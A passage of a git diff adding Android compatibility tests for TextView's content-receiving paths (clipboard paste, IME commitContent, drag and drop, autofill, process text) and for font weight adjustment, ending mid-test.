+    public void testDefaultReceiver_onReceive_noSelectionPriorToPaste() throws Exception {
+        // Set the text and then clear the selection (ie, ensure that nothing is selected and
+        // that the cursor is not present).
+        initTextViewForEditing("xz", 0);
+        Selection.removeSelection(mTextView.getEditableText());
+        assertTextAndCursorPosition("xz", -1);
+
+        // Pasting should still work (should just insert the text at the beginning).
+        ClipData clip = ClipData.newPlainText("test", "y");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("yxz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_selectionStartAndEndSwapped() throws Exception {
+        initTextViewForEditing("", 0);
+
+        // Set the selection such that "end" is before "start".
+        mTextView.setText("hey", BufferType.EDITABLE);
+        Selection.setSelection(mTextView.getEditableText(), 3, 1);
+        assertTextAndSelection("hey", 3, 1);
+
+        // Pasting should still work (should still successfully overwrite the selection).
+        ClipData clip = ClipData.newPlainText("test", "i");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("hi", 2);
+    }
+
+    // ============================================================================================
+    // Tests to verify that the OnReceiveContentListener is invoked for all the appropriate user
+    // interactions:
+    // * Paste from clipboard ("Paste" and "Paste as plain text" actions)
+    // * Content insertion from IME
+    // * Drag and drop
+    // * Autofill
+    // * Process text (Intent.ACTION_PROCESS_TEXT)
+    // ============================================================================================
+
+    @UiThreadTest
+    @Test
+    public void testPaste_noCustomReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy text to the clipboard.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        copyToClipboard(clip);
+
+        // Trigger the "Paste" action. This should execute the default receiver.
+        boolean result = triggerContextMenuAction(android.R.id.paste);
+        assertThat(result).isTrue();
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPaste_customReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy text to the clipboard.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        copyToClipboard(clip);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the "Paste" action and assert that the custom receiver was executed.
+        triggerContextMenuAction(android.R.id.paste);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_CLIPBOARD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPaste_customReceiver_unsupportedMimeType() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy a URI to the clipboard with a MIME type that's not supported by the receiver.
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("y", null, SAMPLE_CONTENT_URI));
+        copyToClipboard(clip);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain", "video/avi"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the "Paste" action and assert that the custom receiver was executed.
+        triggerContextMenuAction(android.R.id.paste);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_CLIPBOARD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPasteAsPlainText_noCustomReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy HTML to the clipboard.
+        ClipData clip = ClipData.newHtmlText("test", "*y*", "<b>y</b>");
+        copyToClipboard(clip);
+
+        // Trigger the "Paste as plain text" action. This should execute the platform paste
+        // handling, so the content should be inserted according to whatever behavior is implemented
+        // in the OS version that's running.
+        boolean result = triggerContextMenuAction(android.R.id.pasteAsPlainText);
+        assertThat(result).isTrue();
+        assertTextAndCursorPosition("x*y*z", 4);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPasteAsPlainText_customReceiver() throws Exception {
+        // Setup: Populate the text field.
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Copy text to the clipboard.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        copyToClipboard(clip);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the "Paste as plain text" action and assert that the custom receiver was
+        // executed.
+        triggerContextMenuAction(android.R.id.pasteAsPlainText);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_CLIPBOARD, FLAG_CONVERT_TO_PLAIN_TEXT));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Trigger the IME's commitContent() call and assert its outcome.
+        boolean result = triggerImeCommitContent("image/png");
+        assertThat(result).isFalse();
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call and assert that the custom receiver was executed.
+        triggerImeCommitContent("image/png");
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_INPUT_METHOD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_customReceiver_unsupportedMimeType() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call and assert that the custom receiver was executed.
+        triggerImeCommitContent("video/mp4");
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_INPUT_METHOD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_customReceiver_oldTargetSdk() throws Exception {
+        configureAppTargetSdkToR();
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call and assert that the custom receiver was executed.
+        triggerImeCommitContent("image/png");
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_INPUT_METHOD, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_linkUri() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call with a linkUri and assert receiver extras.
+        Uri sampleLinkUri = Uri.parse("http://example.com");
+        triggerImeCommitContent("image/png", sampleLinkUri, null);
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_INPUT_METHOD, 0, sampleLinkUri, null));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_opts() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call with opts and assert receiver extras.
+        String sampleOptValue = "sampleOptValue";
+        triggerImeCommitContent("image/png", null, sampleOptValue);
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_INPUT_METHOD, 0, null, sampleOptValue));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testImeCommitContent_linkUriAndOpts() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/*", "image/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger the IME's commitContent() call with a linkUri & opts and assert receiver extras.
+        Uri sampleLinkUri = Uri.parse("http://example.com");
+        String sampleOptValue = "sampleOptValue";
+        triggerImeCommitContent("image/png", sampleLinkUri, sampleOptValue);
+        ClipData clip = ClipData.newRawUri("expected", SAMPLE_CONTENT_URI);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView),
+                contentEq(clip, SOURCE_INPUT_METHOD, 0, sampleLinkUri, sampleOptValue));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 2);
+
+        // Trigger drop event. This should execute the default receiver.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        triggerDropEvent(clip);
+        assertTextAndCursorPosition("yxz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 2);
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger drop event and assert that the custom receiver was executed.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        triggerDropEvent(clip);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        // Note: The cursor is moved to the location of the drop before calling the receiver.
+        assertTextAndCursorPosition("xz", 0);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_customReceiver_nonEditableTextView() throws Exception {
+        // Initialize the view and assert preconditions.
+        mTextView.setText("Hello");
+        assertTextAndSelection("Hello", -1, -1);
+        assertThat(mTextView.isTextSelectable()).isFalse();
+        assertThat(mTextView.getText()).isNotInstanceOf(Editable.class);
+
+        // Configure the listener.
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger drop event and assert that the custom receiver was executed.
+        ClipData clip = ClipData.newPlainText("test", "y");
+        triggerDropEvent(clip);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        // Note: The cursor/selection should not change since the view is not editable.
+        assertTextAndSelection("Hello", -1, -1);
+    }
+
+    /**
+     * This test checks the edge case where a {@link TextView} starts as non-editable and becomes
+     * editable during dragging. The test simulates this scenario by setting up an editable
+     * {@link TextView}, clearing its focus and then injecting an
+     * {@link DragEvent#ACTION_DRAG_LOCATION} event without a prior
+     * {@link DragEvent#ACTION_DRAG_STARTED} or {@link DragEvent#ACTION_DRAG_ENTERED} event.
+     */
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_nonEditableTextViewChangedToEditable_actionDragLocation()
+            throws Exception {
+        // Setup an editable TextView and assert that its insertion controller is enabled.
+        initTextViewForEditing("Test drag and drop", 4);
+        assertThat(mTextView.getEditorForTesting().getInsertionController()).isNotNull();
+
+        // Focus on another view and assert that the TextView we are going to test doesn't have
+        // focus (but still has its insertion controller enabled).
+        TextView anotherTextView = mActivity.findViewById(R.id.textview_singleLine);
+        anotherTextView.setTextIsSelectable(true);
+        anotherTextView.requestFocus();
+        assertThat(mTextView.hasFocus()).isFalse();
+        assertThat(mTextView.getEditorForTesting().getInsertionController()).isNotNull();
+
+        // Trigger an ACTION_DRAG_LOCATION event without any prior drag events. The TextView should
+        // still gracefully handle the event and update its cursor position for the event's
+        // location.
+        DragEvent dragEvent = createDragEvent(DragEvent.ACTION_DRAG_LOCATION, mTextView.getX(),
+                mTextView.getY(), null);
+        assertThat(mTextView.onDragEvent(dragEvent)).isTrue();
+        assertTextAndCursorPosition("Test drag and drop", 0);
+    }
+
+    /**
+     * This test checks the edge case where a {@link TextView} starts as non-editable and becomes
+     * editable during dragging. The test simulates this scenario by setting up an editable
+     * {@link TextView}, clearing its focus and then injecting an
+     * {@link DragEvent#ACTION_DROP} event without a prior
+     * {@link DragEvent#ACTION_DRAG_STARTED} or {@link DragEvent#ACTION_DRAG_ENTERED} or
+     * {@link DragEvent#ACTION_DRAG_LOCATION} event.
+     */
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_nonEditableTextViewChangedToEditable_actionDrop() throws Exception {
+        // Setup an editable TextView and assert that its insertion controller is enabled.
+        initTextViewForEditing("Test drag and drop", 4);
+        assertThat(mTextView.getEditorForTesting().getInsertionController()).isNotNull();
+
+        // Focus on another view and assert that the TextView we are going to test doesn't have
+        // focus (but still has its insertion controller enabled).
+        TextView anotherTextView = mActivity.findViewById(R.id.textview_singleLine);
+        anotherTextView.setTextIsSelectable(true);
+        anotherTextView.requestFocus();
+        assertThat(mTextView.hasFocus()).isFalse();
+        assertThat(mTextView.getEditorForTesting().getInsertionController()).isNotNull();
+
+        // Trigger an ACTION_DROP event without any prior drag events. The TextView should still
+        // gracefully handle the event and accept the drop.
+        ClipData clip = ClipData.newPlainText("test", "Hi ");
+        DragEvent dragEvent = createDragEvent(DragEvent.ACTION_DROP, mTextView.getX(),
+                mTextView.getY(), clip);
+        assertThat(mTextView.onDragEvent(dragEvent)).isTrue();
+        assertTextAndCursorPosition("Hi Test drag and drop", 3);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDragAndDrop_customReceiver_unsupportedMimeType() throws Exception {
+        initTextViewForEditing("xz", 2);
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger drop event and assert that the custom receiver was executed.
+        ClipData clip = new ClipData("test", new String[]{"video/mp4"},
+                new ClipData.Item("y", null, SAMPLE_CONTENT_URI));
+        triggerDropEvent(clip);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_DRAG_AND_DROP, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        // Note: The cursor is moved to the location of the drop before calling the receiver.
+        assertTextAndCursorPosition("xz", 0);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAutofill_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Trigger autofill. This should execute the default receiver.
+        triggerAutofill("y");
+        assertTextAndCursorPosition("y", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAutofill_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+        String[] receiverMimeTypes = new String[] {"text/*"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Trigger autofill and assert that the custom receiver was executed.
+        triggerAutofill("y");
+        ClipData clip = ClipData.newPlainText("", "y");
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_AUTOFILL, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndCursorPosition("xz", 1);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testProcessText_noCustomReceiver() throws Exception {
+        initTextViewForEditing("Original text", 0);
+        Selection.setSelection(mTextView.getEditableText(), 0, mTextView.getText().length());
+
+        String newText = "Replacement text";
+        triggerProcessTextOnActivityResult(newText);
+        assertTextAndCursorPosition(newText, newText.length());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testProcessText_customReceiver() throws Exception {
+        String originalText = "Original text";
+        initTextViewForEditing(originalText, 0);
+        Selection.setSelection(mTextView.getEditableText(), 0, originalText.length());
+        assertTextAndSelection(originalText, 0, originalText.length());
+
+        String[] receiverMimeTypes = new String[] {"text/plain"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        String newText = "Replacement text";
+        triggerProcessTextOnActivityResult(newText);
+        ClipData clip = ClipData.newPlainText("", newText);
+        verify(mMockReceiver, times(1)).onReceiveContent(
+                eq(mTextView), contentEq(clip, SOURCE_PROCESS_TEXT, 0));
+        verifyNoMoreInteractions(mMockReceiver);
+        assertTextAndSelection(originalText, 0, originalText.length());
+    }
+
+
+    private void initTextViewForEditing(final String text, final int cursorPosition) {
+        mTextView.setKeyListener(QwertyKeyListener.getInstance(false, Capitalize.NONE));
+        mTextView.setTextIsSelectable(true);
+        mTextView.requestFocus();
+
+        SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+        mTextView.setText(ssb, BufferType.EDITABLE);
+        mTextView.measure(MeasureSpec.UNSPECIFIED, MeasureSpec.UNSPECIFIED);
+        Selection.setSelection(mTextView.getEditableText(), cursorPosition);
+
+        assertWithMessage("TextView should have focus").that(mTextView.hasFocus()).isTrue();
+        assertTextAndCursorPosition(text, cursorPosition);
+    }
+
+    private void assertTextAndCursorPosition(String expectedText, int cursorPosition) {
+        assertTextAndSelection(expectedText, cursorPosition, cursorPosition);
+    }
+
+    private void assertTextAndSelection(String expectedText, int start, int end) {
+        assertThat(mTextView.getText().toString()).isEqualTo(expectedText);
+        int[] expected = new int[]{start, end};
+        int[] actual = new int[]{mTextView.getSelectionStart(), mTextView.getSelectionEnd()};
+        assertWithMessage("Unexpected selection start/end indexes")
+                .that(actual).isEqualTo(expected);
+    }
+
+    private void onReceive(final OnReceiveContentListener receiver,
+            final ClipData clip, final int source, final int flags) {
+        ContentInfo payload =
+                new ContentInfo.Builder(clip, source)
+                .setFlags(flags)
+                .build();
+        receiver.onReceiveContent(mTextView, payload);
+    }
+
+    private void resetTargetSdk() {
+        mActivity.getApplicationInfo().targetSdkVersion = Build.VERSION_CODES.CUR_DEVELOPMENT;
+    }
+
+    private void configureAppTargetSdkToR() {
+        mActivity.getApplicationInfo().targetSdkVersion = Build.VERSION_CODES.R;
+    }
+
+    private void configureAppTargetSdkToS() {
+        mActivity.getApplicationInfo().targetSdkVersion = Build.VERSION_CODES.S;
+    }
+
+    private void copyToClipboard(ClipData clip) {
+        mClipboardManager.setPrimaryClip(clip);
+    }
+
+    private boolean triggerContextMenuAction(final int actionId) {
+        return mTextView.onTextContextMenuItem(actionId);
+    }
+
+    private boolean triggerImeCommitContent(String mimeType) {
+        return triggerImeCommitContent(mimeType, null, null);
+    }
+
+    private boolean triggerImeCommitContent(String mimeType, Uri linkUri, String extra) {
+        final InputContentInfo contentInfo = new InputContentInfo(
+                SAMPLE_CONTENT_URI,
+                new ClipDescription("from test", new String[]{mimeType}),
+                linkUri);
+        final Bundle opts;
+        if (extra == null) {
+            opts = null;
+        } else {
+            opts = new Bundle();
+            opts.putString(ContentInfoArgumentMatcher.EXTRA_KEY, extra);
+        }
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        return ic.commitContent(contentInfo, 0, opts);
+    }
+
+    private void triggerAutofill(CharSequence text) {
+        mTextView.autofill(AutofillValue.forText(text));
+    }
+
+    private boolean triggerDropEvent(ClipData clip) {
+        DragEvent dropEvent = createDragEvent(DragEvent.ACTION_DROP, mTextView.getX(),
+                mTextView.getY(), clip);
+        return mTextView.onDragEvent(dropEvent);
+    }
+
+    private static DragEvent createDragEvent(int action, float x, float y, ClipData clip) {
+        DragEvent dragEvent = mock(DragEvent.class);
+        when(dragEvent.getAction()).thenReturn(action);
+        when(dragEvent.getX()).thenReturn(x);
+        when(dragEvent.getY()).thenReturn(y);
+        when(dragEvent.getClipData()).thenReturn(clip);
+        return dragEvent;
+    }
+
+    private void triggerProcessTextOnActivityResult(CharSequence replacementText) {
+        Intent data = new Intent();
+        data.putExtra(Intent.EXTRA_PROCESS_TEXT, replacementText);
+        mTextView.onActivityResult(TextView.PROCESS_TEXT_REQUEST_CODE, Activity.RESULT_OK, data);
+    }
+
+    private static ContentInfo contentEq(@NonNull ClipData clip, int source, int flags) {
+        return argThat(new ContentInfoArgumentMatcher(clip, source, flags, null, null));
+    }
+
+    private static ContentInfo contentEq(@NonNull ClipData clip, int source, int flags,
+            Uri linkUri, String extra) {
+        return argThat(new ContentInfoArgumentMatcher(clip, source, flags, linkUri, extra));
+    }
+
+    private static class ContentInfoArgumentMatcher implements ArgumentMatcher<ContentInfo> {
+        public static final String EXTRA_KEY = "testExtra";
+
+        @NonNull private final ClipData mClip;
+        private final int mSource;
+        private final int mFlags;
+        @Nullable private final Uri mLinkUri;
+        @Nullable private final String mExtra;
+
+        private ContentInfoArgumentMatcher(@NonNull ClipData clip, int source, int flags,
+                @Nullable Uri linkUri, @Nullable String extra) {
+            mClip = clip;
+            mSource = source;
+            mFlags = flags;
+            mLinkUri = linkUri;
+            mExtra = extra;
+        }
+
+        @Override
+        public boolean matches(ContentInfo actual) {
+            ClipData.Item expectedItem = mClip.getItemAt(0);
+            ClipData.Item actualItem = actual.getClip().getItemAt(0);
+            return Objects.equals(expectedItem.getText(), actualItem.getText())
+                    && Objects.equals(expectedItem.getUri(), actualItem.getUri())
+                    && mSource == actual.getSource()
+                    && mFlags == actual.getFlags()
+                    && Objects.equals(mLinkUri, actual.getLinkUri())
+                    && extrasMatch(actual.getExtras());
+        }
+
+        private boolean extrasMatch(Bundle actualExtras) {
+            if (mExtra == null) {
+                return actualExtras == null;
+            }
+            String actualExtraValue = actualExtras.getString(EXTRA_KEY);
+            return Objects.equals(mExtra, actualExtraValue);
+        }
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index e0fb5e8..c114fd2 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -65,12 +65,11 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
+import android.graphics.fonts.FontStyle;
 import android.icu.lang.UCharacter;
 import android.net.Uri;
 import android.os.Bundle;
-import android.os.Handler;
 import android.os.LocaleList;
-import android.os.Looper;
 import android.os.Parcelable;
 import android.os.SystemClock;
 import android.text.Editable;
@@ -83,6 +82,7 @@
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
+import android.text.StaticLayout;
 import android.text.TextDirectionHeuristics;
 import android.text.TextPaint;
 import android.text.TextUtils;
@@ -199,9 +199,10 @@
         }
     };
     private static final int CLICK_TIMEOUT = ViewConfiguration.getDoubleTapTimeout() + 50;
+    private static final int BOLD_TEXT_ADJUSTMENT =
+            FontStyle.FONT_WEIGHT_BOLD - FontStyle.FONT_WEIGHT_NORMAL;
 
     private CharSequence mTransformedText;
-    private Handler mHandler = new Handler(Looper.getMainLooper());
 
     @Rule
     public ActivityTestRule<TextViewCtsActivity> mActivityRule =
@@ -211,7 +212,7 @@
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
-        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        PollingCheck.waitFor(TIMEOUT, mActivity::hasWindowFocus);
     }
 
     /**
@@ -323,6 +324,127 @@
     }
 
     @Test
+    public void testFontWeightAdjustment_forceBoldTextEnabled_textIsBolded() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = findTextView(R.id.textview_text));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, mTextView.getTypeface().getWeight());
+
+        Configuration cf = new Configuration();
+        cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+        mActivityRule.runOnUiThread(() -> mTextView.dispatchConfigurationChanged(cf));
+        mInstrumentation.waitForIdleSync();
+
+        Typeface forceBoldedPaintTf = mTextView.getPaint().getTypeface();
+        assertEquals(FontStyle.FONT_WEIGHT_BOLD, forceBoldedPaintTf.getWeight());
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, mTextView.getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextDisabled_textIsUnbolded() throws Throwable {
+        Configuration cf = new Configuration();
+        cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            mTextView.dispatchConfigurationChanged(cf);
+            cf.fontWeightAdjustment = 0;
+            mTextView.dispatchConfigurationChanged(cf);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Typeface forceUnboldedPaintTf = mTextView.getPaint().getTypeface();
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, forceUnboldedPaintTf.getWeight());
+        assertEquals(FontStyle.FONT_WEIGHT_NORMAL, mTextView.getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextEnabled_originalTypefaceKeptWhenEnabled()
+            throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+
+        Typeface forceBoldedPaintTf = mTextView.getPaint().getTypeface();
+        assertTrue(forceBoldedPaintTf.isBold());
+        assertEquals(Typeface.create(Typeface.MONOSPACE,
+                FontStyle.FONT_WEIGHT_BOLD, false), forceBoldedPaintTf);
+    }
+
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextDisabled_originalTypefaceIsKept()
+            throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = 0;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(Typeface.MONOSPACE, mTextView.getPaint().getTypeface());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_forceBoldTextEnabled_boldTypefaceIsBolded()
+            throws Throwable {
+        Typeface originalTypeface = Typeface.create(Typeface.MONOSPACE, Typeface.BOLD);
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = BOLD_TEXT_ADJUSTMENT;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(originalTypeface);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(originalTypeface, mTextView.getTypeface());
+        assertEquals(FontStyle.FONT_WEIGHT_MAX,
+                mTextView.getPaint().getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_adjustmentIsNegative_fontWeightIsLower() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = -200;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(200, mTextView.getPaint().getTypeface().getWeight());
+    }
+
+    @Test
+    public void testFontWeightAdjustment_adjustmentIsNegative_fontWeightIsMinimum()
+            throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView = findTextView(R.id.textview_text);
+            Configuration cf = new Configuration();
+            cf.fontWeightAdjustment = -500;
+            mTextView.dispatchConfigurationChanged(cf);
+            mTextView.setTypeface(Typeface.MONOSPACE);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(Typeface.MONOSPACE, mTextView.getTypeface());
+        assertEquals(FontStyle.FONT_WEIGHT_MIN,
+                mTextView.getPaint().getTypeface().getWeight());
+    }
+
+    @Test
     public void testAccessMovementMethod() throws Throwable {
         final CharSequence LONG_TEXT = "Scrolls the specified widget to the specified "
                 + "coordinates, except constrains the X scrolling position to the horizontal "
@@ -3251,6 +3373,23 @@
 
     @UiThreadTest
     @Test
+    public void setSetImeConsumesInput() {
+        InputConnection input = initTextViewForSimulatedIme();
+        mTextView.setCursorVisible(true);
+        assertTrue(mTextView.isCursorVisible());
+
+        mTextView.setImeConsumesInput(true);
+        assertFalse(mTextView.isCursorVisible());
+
+        mTextView.setCursorVisible(true);
